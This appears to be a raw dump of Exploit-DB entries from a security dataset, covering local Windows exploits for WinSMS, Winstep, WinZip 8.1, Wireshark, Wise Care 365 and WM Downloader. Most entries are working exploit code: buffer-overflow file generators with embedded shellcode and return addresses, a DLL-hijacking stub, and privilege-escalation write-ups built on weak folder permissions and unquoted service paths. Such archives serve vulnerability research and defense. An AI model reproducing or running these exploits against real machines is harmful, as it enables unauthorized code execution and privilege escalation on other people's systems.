deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40375
Description: WinSMS 3.43 - Insecure File Permissions Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-13
Author: Tulpa

Exploit:
# Exploit Title: WinSMS 3.43 Local Privilege Escalation
# Date: 13/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.winsms.co.za
# Software Link: https://www.winsms.co.za/products/bulk-sms-desktop-software/
# Version: Software Version 3.43, Released September 2015
# Tested on: Windows 10 Professional x64 and Windows XP SP3 x86


1. Description:

WinSMS installs by default to "C:\Program Files (x86)\WinSMS" with very weak folder permissions granting any user full permission to the contents of the directory and it's subfolders. This allows ample opportunity for code execution against any other user running the application. WinSMS is typically configured as a startup program which makes this particularly easy to take leverage.

2. Proof

C:\Program Files>cacls WinSMS
C:\Program Files\WinSMS Everyone:(OI)(CI)F
                        BUILTIN\Users:R
                        BUILTIN\Users:(OI)(CI)(IO)(special access:)
                                                  GENERIC_READ
                                                  GENERIC_EXECUTE
                        BUILTIN\Power Users:C
                        BUILTIN\Power Users:(OI)(CI)(IO)C
                        BUILTIN\Administrators:F
                        BUILTIN\Administrators:(OI)(CI)(IO)F
                        NT AUTHORITY\SYSTEM:F
                        NT AUTHORITY\SYSTEM:(OI)(CI)(IO)F
                        TULPA-842269BBB\Administrator:F
                        CREATOR OWNER:(OI)(CI)(IO)F


3. Exploit:

Simply replace WinSMS.exe or any of the dll's with your preferred payload and wait for execution.

4. Plain Text Password Disclosure:

It is worth noting that sensitive information such as the proxy server password is stored in plain text within the a database file located at "C:\Program Files (x86)\WinSMS\WinSMS.mdb"
Exploit-DB #49004
Description: Winstep 18.06.0096 - 'Xtreme Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: SamAlucard

Exploit:
#Exploit Title: Winstep 18.06.0096 - 'Xtreme Service' Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2020-11-08
#Vendor : Winstep
#Version : WsxService 18.06.0096
#Vendor Homepage :  https://www.winstep.net/xtreme.asp
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\>sc qc "Winstep Xtreme Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Winstep Xtreme Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Winstep\WsxService
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Winstep Xtreme Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #1034
Description: WinZip 8.1 - Command Line Local Buffer Overflow
Type: local
Platform: windows
Date: 2005-06-07
Author: ATmaCA

Exploit:
/*
*
* WinZip Command Line Local Buffer Overflow
* http://securitytracker.com/alerts/2004/Sep/1011132.html
* http://www.winzip.com/wz90sr1.htm
* Exploit coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan
*
*/

/*
*
* Tested with WinZip 8.1 on Win XP Sp2 En
* Bug Fixed on WinZip 9.0 Service Release 1 (SR-1)
* http://www.winzip.com/wz90sr1.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define NOP 0x90

void main()
{
        // create crafted command line
        char tmpfile[] = "c:\\wzs45.tmp";
        char winzippath[] = "C:\\Program Files\\WINZIP\\winzip32.exe";
        char zipandmailpar[] = " -* /zipandmail /@  ";
        char runpar[300];
        int i = 0;
        strcpy(runpar,winzippath);
        strcat(runpar,zipandmailpar);
        strcat(runpar,tmpfile);

        // need for some input file name .tmp but not must to exist
        char inputfile[] = "C:\\someinputfile.ext\n";

        // launch a local cmd.exe
        char shellcode[] =
        "\x55\x8B\xEC\x33\xFF"
        "\x57\x83\xEC\x04\xC6\x45\xF8"
        "\x63\xC6\x45\xF9\x6D\xC6\x45"
        "\xFA\x64\xC6\x45\xFB\x2E\xC6"
        "\x45\xFC\x65\xC6\x45\xFD\x78"
        "\xC6\x45\xFE\x65\xB8"
        "\xC7\x93\xC2\x77" //77C293C7 system() - WinXP SP2 - msvcrt.dll
        "\x50\x8D\x45\xF8\x50"
        "\xFF\x55\xF4";

        // create crafted .tmp file
        FILE *di;
        if( (di=fopen(tmpfile,"wb")) == NULL ){
                return;
        }

        for(i=0;i<sizeof(inputfile)-1;i++)
                fputc(inputfile[i],di);

        fprintf(di,"c:\\");

        for(i=0;i<384;i++)
                fputc(NOP,di);


        for(i=0;i<sizeof(shellcode)-1;i++)
                fputc(shellcode[i],di);

        fprintf(di,"\xBF\xAC\xDA\x77");  //EIP - WinXp Sp2 Eng - jmp esp addr
        fprintf(di,"\x90\x90\x90\x90");  //NOPs
        fprintf(di,"\x90\x83\xEC\x74");  //sub esp,0x74
        fprintf(di,"\xFF\xE4\x90\x90");  //jmp esp

        fprintf(di,"\n");

        fclose(di);
        WinExec(runpar,SW_SHOW);
}

// milw0rm.com [2005-06-07]
Exploit-DB #14721
Description: Wireshark 1.2.10 - 'airpcap.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-24
Author: TheLeader

Exploit:
/*
Exploit Title: Wireshark <= 1.2.10 DLL Hijacking Exploit (airpcap.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://www.wireshark.org/download.html
Version: 1.2.10 and prior
Tested on: Windows 7 x86 (6.1.7600)

As seen on Metasploit blog (rock on HDM!): 
http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html

Probably gonna see alot of these bugs getting exploited in the near future..

Compile and rename to airpcap.dll, create a file in the same dir with one of the following extensions.

Default Wireshark file extension associations:
.5vw / .acp / .apc / .atc / .bfr / .cap / .enc / .erf / .fdc / .pcap / .pcapng /
.pkt / .rf5 / .snoop / .syc / .tpc / .tr1 / .trace / .trc / .wpc / .wpz

Double click & watch a nice calculator pop =]
Shouts to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void AirpcapGetDeviceList() { evil(); }
DLLIMPORT void AirpcapFreeDeviceList() { evil(); }
DLLIMPORT void AirpcapOpen() { evil(); }
DLLIMPORT void AirpcapClose() { evil(); }
DLLIMPORT void AirpcapGetLinkType() { evil(); }
DLLIMPORT void AirpcapSetLinkType() { evil(); }
DLLIMPORT void AirpcapSetKernelBuffer() { evil(); }
DLLIMPORT void AirpcapSetFilter() { evil(); }
DLLIMPORT void AirpcapGetMacAddress() { evil(); }
DLLIMPORT void AirpcapSetMinToCopy() { evil(); }
DLLIMPORT void AirpcapGetReadEvent() { evil(); }
DLLIMPORT void AirpcapRead() { evil(); }
DLLIMPORT void AirpcapGetStats() { evil(); }
DLLIMPORT void AirpcapTurnLedOn() { evil(); }
DLLIMPORT void AirpcapTurnLedOff() { evil(); }
DLLIMPORT void AirpcapGetDeviceChannel() { evil(); }
DLLIMPORT void AirpcapSetDeviceChannel() { evil(); }
DLLIMPORT void AirpcapGetFcsPresence() { evil(); }
DLLIMPORT void AirpcapSetFcsPresence() { evil(); }
DLLIMPORT void AirpcapGetFcsValidation() { evil(); }
DLLIMPORT void AirpcapSetFcsValidation() { evil(); }
DLLIMPORT void AirpcapGetDeviceKeys() { evil(); }
DLLIMPORT void AirpcapSetDeviceKeys() { evil(); }
DLLIMPORT void AirpcapGetDecryptionState() { evil(); }
DLLIMPORT void AirpcapSetDecryptionState() { evil(); }
DLLIMPORT void AirpcapStoreCurConfigAsAdapterDefault() { evil(); }
DLLIMPORT void AirpcapGetVersion() { evil(); }
DLLIMPORT void AirpcapGetDriverDecryptionState() { evil(); }
DLLIMPORT void AirpcapSetDriverDecryptionState() { evil(); }
DLLIMPORT void AirpcapGetDriverKeys() { evil(); }
DLLIMPORT void AirpcapSetDriverKeys() { evil(); }
DLLIMPORT void AirpcapSetDeviceChannelEx() { evil(); }
DLLIMPORT void AirpcapGetDeviceChannelEx() { evil(); }
DLLIMPORT void AirpcapGetDeviceSupportedChannels() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
Exploit-DB #17185
Description: Wireshark 1.4.1 < 1.4.4 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2011-04-18
Author: sickness

Exploit:
#!/usr/bin/env python
# Vulnerable app: Wireshark 1.4.1-1.4.4
# Author: sickness
# Download : 
# OS: Tested it on Windows XP SP2 and SP3 but it should work on every Windows with DEP off (still working on a ROP exploit)
# DATE   : 17.04.2011
# Fixed in latest version 1.4.5
# DO NOT FORGET TO FEEL THE PWNSAUCE WITH: http://redmine.corelan.be:8800/projects/pvefindaddr
###################################################################
# Offset might change!
# Watch out for other bad chars!!
# Current bad chars: \x00\x0a\x0d\x09
###################################################################
# References:
# https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836
# https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838
###################################################################


import sys
from scapy.all import *

#payload=calc.exe
#ppr is from a non-ASLR enabled wireshark module

evil = Ether(type=0x2323)/("\x41" * 1239 + "\xeb\x06\x90\x90" +  "\x5D\x10\x94\x62" + "\x90" * 16 + "\x33\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x17\x22\xfd\x6a\x83\xee\xfc\xe2\xf4\xeb\xca\x74\x6a\x17\x22\x9d\xe3\xf2\x13\x2f\x0e\x9c\x70\xcd\xe1\x45\x2e\x76\x38\x03\xa9\x8f\x42\x18\x95\xb7\x4c\x26\xdd\xcc\xaa\xbb\x1e\x9c\x16\x15\x0e\xdd\xab\xd8\x2f\xfc\xad\xf5\xd2\xaf\x3d\x9c\x70\xed\xe1\x55\x1e\xfc\xba\x9c\x62\x85\xef\xd7\x56\xb7\x6b\xc7\x72\x76\x22\x0f\xa9\xa5\x4a\x16\xf1\x1e\x56\x5e\xa9\xc9\xe1\x16\xf4\xcc\x95\x26\xe2\x51\xab\xd8\x2f\xfc\xad\x2f\xc2\x88\x9e\x14\x5f\x05\x51\x6a\x06\x88\x88\x4f\xa9\xa5\x4e\x16\xf1\x9b\xe1\x1b\x69\x76\x32\x0b\x23\x2e\xe1\x13\xa9\xfc\xba\x9e\x66\xd9\x4e\x4c\x79\x9c\x33\x4d\x73\x02\x8a\x4f\x7d\xa7\xe1\x05\xc9\x7b\x37\x7d\x23\x70\xef\xae\x22\xfd\x6a\x47\x4a\xcc\xe1\x78\xa5\x02\xbf\xac\xd2\x48\xc8\x41\x4a\x5b\xff\xaa\xbf\x02\xbf\x2b\x24\x81\x60\x97\xd9\x1d\x1f\x12\x99\xba\x79\x65\x4d\x97\x6a\x44\xdd\x28\x09\x76\x4e\x9e\x44\x72\x5a\x98\x6a" + "\x90" * 4500)
wrpcap("evil.pcap",evil)


print "\n"
print "Evil .pcap file created!"
print "It's pwnsauce time!\n"
Exploit-DB #40417
Description: Wise Care 365 4.27 / Wise Disk Cleaner 9.29 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-23
Author: Tulpa

Exploit:
# Exploit Title: Wisecleaner Software Multiple Unquoted Service Path Elevation of Privilege
# Date: 23/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.wisecleaner.com
# Software Link: http://www.wisecleaner.com/wise-disk-cleaner.html, http://www.wisecleaner.com/wise-care-365.html
# Version: Wise Care 365 4.27, Wise Disk Cleaner 9.29
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec


1. Description:

Two seperate instances of unquoted service path privilege escalation has been discovered. The first instance is within Wise Care 365 4.27 which installs a vulnerable service entitled WiseBootAssistant. The second vulnerability exists when Wise Disk Cleaner 9.29 installs SpyHunter 4. Both of these services run with SYSTEM privileges. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.

2. Proof

Wise Disk Cleaner 9.29

C:\>sc qc WiseBootAssistant
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WiseBootAssistant
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Wise\Wise Care 365\BootTime.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wise Boot Assistant
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


SpyHunter 4

C:\>sc qc "SpyHunter 4 Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyHunter 4 Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe
        LOAD_ORDER_GROUP   : Base
        TAG                : 0
        DISPLAY_NAME       : SpyHunter 4 Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit-DB #50038
Description: Wise Care 365 5.6.7.568 - 'WiseBootAssistant' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-21
Author: Julio Aviña

Exploit:
# Exploit Title: Wise Care 365 5.6.7.568 - 'WiseBootAssistant' Unquoted Service Path
# Date: 2021-06-18
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.wisecleaner.com/wise-care-365.html
# Software Link: https://downloads.wisecleaner.com/soft/WiseCare365_5.6.7.568.exe
# Version: 5.6.7.568
# Service File Version 1.2.4.54
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%WiseBootAssistant%"' get displayname, pathname, startmode, startname

DisplayName          PathName                                                StartMode  StartName
Wise Boot Assistant  C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "WiseBootAssistant"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WiseBootAssistant
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Wise Boot Assistant
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.
Exploit-DB #14044
Description: WM Downloader 2.9.2 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2010-06-25
Author: Madjix

Exploit:
#!/usr/bin/perl
#WM Downloader 2.9.2 stack buffer overflow
#win sp3
#By Madjix Dz8[at]hotmail[dot]com
my $hd = "#EXTM3U\n";
my $jnk="http://"."\x41" x 257 ;
my $eip = "\x7B\x46\x86\x7C" ; # 0x7C86467B jmp esp kernel 32
my $shellcode = "\x90" x 25;
$shellcode = $shellcode
."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
my $jnk2= "\x41" x 50000 ;
open(MYFILE,'>>MadjiX.m3u');

print MYFILE $hd.$jnk.$eip.$preshellcode.$shellcode.$jnk2;

close(MYFILE);
Exploit-DB #11384
Description: WM Downloader 3.0.0.9 (Windows XP SP3) - PLS PLA
Type: local
Platform: windows
Date: 2010-02-10
Author: Beenu Arora

Exploit:
#!/usr/bin/python
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# Greetz to all Darkc0de ,AI,ICW Memebers
#Shoutz to r45c4l,j4ckh4x0r,silic0n,smith,baltazar,d3hydr8,FB1H2S, lowlz,Eberly,Sumit,zerocode,dalsim,7, Anirban , Anas, Navneet ,
# Greetings to PwC India


import sys,os
print "\n|---------------------------------------------------------------|"
print "| beenudel1986[@]gmail[dot]com                                  |"
print "|   Do Visit     www.BeenuArora.com                             |"
print "|---------------------------------------------------------------|\n"

file=open('exploit.pls','w')
test1="\x41"*26081
test2="\x13\x44\x87\x7c" #kernel32.dll 0x7C874413
test3="\x90"*30
test4=("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" 
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" 
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
"\x7f\xe8\x7b\xca")
test=test1+test2+test3+test4
file.write(test)
print "\n Test File Created\n\n"
print shell 
raw_input()
file.close()
Exploit-DB #11981
Description: WM Downloader 3.0.0.9 - '.asx' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-03-31
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Title: WM Downloader 3.0.0.9 (.asx) Local Buffer Overflow
# Date: 03-29-2010
# Author: b0telh0
# Tested on: Windows XP SP3


#
# windows/exec - 227 bytes
# EXITFUNC=process, CMD=calc.exe
#

shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"
       "\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09"
       "\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca"
       "\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28"
       "\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a"
       "\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c"
       "\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5"
       "\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16"
       "\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36"
       "\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c"
       "\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19"
       "\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66"
       "\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2"
       "\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b"
       "\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69"
       "\x5d\xd9");

junk = "\x41" * 26112
eip = "\x53\x93\x37\x7E"        # 7E379353  USER32.dll  (JMP ESP)
nops = "\x90" * 20
junk2 = "\x41" * 3884

try:
    file = open('b0t.asx','w');
    file.write(junk+eip+nops+shellcode+junk2);
    file.close();
    print "\n[+] b0t.asx created."
    print "[+] Open WmDownloader.exe..."
    print "[+] and load b0t.asx.\n"
except:
    print "\n[-] Error.. Can't write file to system.\n"
Exploit-DB #8411
Description: WM Downloader 3.0.0.9 - '.m3u' Universal Stack Overflow
Type: local
Platform: windows
Date: 2009-04-13
Author: Stack

Exploit:
/*
# WM Downloader Version 3.0.0.9 .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
# Thnx : HOD The Best Metasploiter
*/

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define OFFSET       26117
char header1[]="\x23\x45\x58\x54\x4D\x33\x55\r\n";
char header2[]="http://";
char scode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a";
char nop[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
int main(void){
    FILE *p;
    unsigned char *buffer;
    int ret=0x6E7D5C87; // Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>
      //    0x7C82385D;

    int i=0;
if((p=fopen("WM-Downloader.m3u","wb"))==NULL){
                                    perror("error");
                                    exit(0);
                                    }
buffer=(unsigned char*)malloc(strlen(header1)+strlen(header2)+OFFSET+4+10+351);
memset(buffer, 0x90,strlen(header1)+strlen(header2)+OFFSET+4+10+351);
memcpy(buffer,header1,strlen(header1));
memcpy(buffer+strlen(header1),header2,strlen(header2));
i=OFFSET;
memcpy(buffer+strlen(header1)+strlen(header2)+i,&ret,4);
i+=4;
memcpy(buffer+strlen(header1)+strlen(header2)+i,nop,10);
i+=10;
memcpy(buffer+strlen(header1)+strlen(header2)+i,scode,351);
i+=351;
fputs(buffer,p);
fclose(p);
free(buffer);
return 0;
}

// milw0rm.com [2009-04-13]